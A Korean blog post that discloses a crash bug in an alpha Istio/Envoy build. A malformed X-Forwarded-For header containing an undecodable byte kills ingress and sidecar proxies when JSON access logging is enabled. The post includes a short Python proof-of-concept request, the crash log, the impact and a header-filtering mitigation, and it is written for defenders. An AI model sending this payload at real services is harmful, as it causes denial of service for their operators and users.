당신의 istio-envoy, xff spoofing 안전한가요?

임시유저·2024년 2월 29일
0

TL;DR

istio는 디코딩 불가능한 문자열을 포함한 xff spoofing으로 한번에 박살낼 수 있습니다

경고

당연히 공격하라는 의도가 아니라 대비하라는 의도입니다. 왜냐면 제가 당했거든요 🥲

준비 또는 전제 조건

istio Operator 기준으로 작성하였습니다. operator가 아닌 다른 방식으로도 동일한 설정값을 통해 동일한 현상을 유도할 수 있습니다.

테스트에 사용한 alpha 버전이며, alpha 계열에서만 발생하는것으로 확인 되어집니다.

본 문제는 istio group에 공유된 상황입니다

필요한 설정은 딱 2개입니다

apiVersion: install.istio.io/v1alpha1  
kind: IstioOperator  
metadata:  
  name: istio  
spec:  
  meshConfig:  
    accessLogEncoding: JSON  
    accessLogFile: /dev/stdout

다른 불필요한 설정은 제거하였으며 (spec.profile 등) 필요한 조건은 access log의 출력 관련된 단 2개의 설정 accessLogEncodingaccessLogFile 뿐입니다

공격

앞서 말씀드린것처럼 디코딩 불가능한 적당한 문자열로 공격해볼 수 있습니다. python으로 가볍게 스크립트를 짜면 이렇습니다

import requests  
  
url = "TEST_URL"
headers = {"X-Forwarded-For": "\xec"}   
  
response = requests.get(url=url, headers=headers)  

적당히 한글을 인코딩한 코드에서 일부만 뜯어내서 디코딩 할 수 없도록 테스트 문자역을 사용했습니다.

GET, POST 등 모든것과 무관하게 디코딩 불가능한 xff만 포함된다면 어떤 요청이건 동일하게 반응합니다.

로그

이때 반환되는 로그를 적당히 가시성을 고려해서 만지작 거리면

critical	envoy main external/envoy/source/exe/terminate_handler.cc:33	std::terminate called! Uncaught unknown exception, see trace.	thread=26
critical	envoy backtrace external/envoy/source/server/backtrace.h:91	Backtrace (use tools/stack_decode.py to get line numbers):	thread=26
critical	envoy backtrace external/envoy/source/server/backtrace.h:92	Envoy version: 9d6c288b111627edf6d7cb380e4895e1224d5da1/1.30.0-dev/Clean/RELEASE/BoringSSL	thread=26
critical	envoy backtrace external/envoy/source/server/backtrace.h:96	#0: Envoy::TerminateHandler::logOnTerminate()::$_0::__invoke() [0x559f2906b4bf]	thread=26

... ... ...

critical	envoy backtrace external/envoy/source/server/backtrace.h:98	#0: [0x7f2e43649520]	thread=26
ActiveStream 0x559f2c3bd500, stream_id_: 9614445000952796613&filter_manager_:
  FilterManager 0x559f2c3bd5a8, state_.has_1xx_headers_: 0
  filter_manager_callbacks_.requestHeaders():
    ':path', '/'
    ':method', 'GET'
    ':scheme', 'http'
    'x-forwarded-for', '�, x.x.x.x, y.y.y.y'
    'x-forwarded-proto', 'http'
    'x-forwarded-port', '443'
    'user-agent', 'python-requests/2.31.0'
    'accept-encoding', 'gzip, deflate, br'

이런 로그가 출력됩니다. 눈여겨 봐야할 점은 시작 익셉션이 Uncaught unknown exception으로 시작되고 다행히 마지막에 문제가 된 요청을 출력해 주는점입니다.

출력된 요청의 xff 헤더를 보시면 디코딩이 실패하여 깨진 문자열 을 확인할 수 있습니다.

현재까지 확인된 바로는 다른 헤더, 다른 상황에서는 동일한 현상을 목격하지 못하였습니다.

위에 설명드린 케이스 이외의 다른 상황을 목격하셨다면 공유해주세요!

결과

공격에 대한 결과는 ingress pod가 Exit Code 0로 종료되는것입니다.

아쉽게도 kubelet은 재시작 정책을 exponential backoff를 사용하고 있습니다.

고의적인 공격이라면 해당 restart가 점점 더 길어져서 결국엔 장기적인 서비스 중단이 유발됩니다.

ingress와 동일하게 envoy sidecar도 동일한 문제를 유발하는것이 가능합니다 (실제로 두 pod는 논리적으로 동일하므로 똑같은 문제가 똑같이 발생합니다)

대응

디코딩 불가능한 xff 헤더를 차단하는것으로 쉽게 공격을 방어할 수 있습니다.

xff 헤더는 다행히 그 의미에서부터 가능한 문자열을 추릴 수 있습니다.

ipv4와 ipv6의 규칙으로 발생하는 숫자, 문자, ., : 그리고 레이어가 많아짐으로 생기는 추가 ip 접합 문자인 ,

xff를 디코드 했을때 이렇게 총 5개의 케이스를 제외한 다른 문자열이 포함된 요청을 차단할 경우 해당 문제를 대비할 수 있습니다.

맺음말

  1. velog 이거 자꾸 글 쓸때 간혹 본문이 날라가버립니다... 처음에 잘 작성된 글이 날라가서 머릿속 내용으로 복구했는데 이게 정상적으로 작성된건지 자신이 없습니다.

  2. 저는 보안은 매우 약합니다 ㅜㅜ... 늘 보안보다 속도감이 중요한 조직에 있었고 실제 그런 작업을 더 선호하기도 했다보니깐요

  3. 이번 기회를 통해 제가 조금 더 보안문제를 잘 해결할 수 있는 능력이 늘었으면...하는 생각이 듭니다

  4. 악용하지 마세요. 철컹철컹 합니다

추가

profile
멍총이 엔지니어

0개의 댓글